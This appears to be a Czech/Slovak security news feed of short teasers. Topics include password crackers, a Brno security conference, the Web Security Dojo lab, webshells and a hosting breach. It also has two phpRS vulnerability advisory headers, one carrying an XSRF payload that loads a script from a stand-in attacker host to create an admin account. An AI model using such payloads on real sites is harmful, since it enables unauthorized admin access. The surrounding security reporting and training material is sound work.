Podľa informačného serveru TheRegister, programy na zisťovanie hesiel, tzv. password-crakers, sú pri optimalizácii na prácu s SSD diskami až 100 násobne rýchlejšie ako predtým.

Tímto příspěvkem bych Vás chtěl všechny pozvat na mini konferenci o IT bezpečnosti, která se bude konat 22. dubna v Areálu Fakulty informačních technologí na Vysokém Učení Technickém v Brně.

Web Security Dojo is a turnkey web application security lab with tools, targets, and training materials built into a Virtual Machine(VM). It is ideal for both self-instruction and training classes since everything is pre-configured and no external network connection is needed. All tools and targets are configured to use non-conflicting ports and a Firefox proxy switcher is set up to match.

'WORD/Melissa written by Kwyjibo ... it's a new age!

PHPRS 2.8.1A XSRF POC EXPLOIT
VULN: REGISTRATION (readers.php), INPUTS ‘rcelejmeno’ && ‘rmail’
VALUE: “-</td><script src=http://ev.il/xpl.js />”
AUTHOR: 4194
EXPLOIT_DESCRIPTION: creating new admin account

CMS: phpRS 2.8.1
Bug: Blind SQL Injection
Version: public
URL: http://supersvet.cz/download.php
Author: RubberDuck
Found Date: 21-06-09

UPDATE

Asi každý zaznamenal v posledních dnech zprávu o tom, že servery hostingové společnosti banan.cz (kdo by neznal jednu z ikon českého internetu, úžasnou mediální hvězdu a modela světového formátu RK -

Cílem tohoto dokumentu bude shrnout (nikoliv detailně popsat) 9 běžných způsobů, jakými útočníci vytváří na serveru webshelly, které jim umožňují dále pracovat se serverem.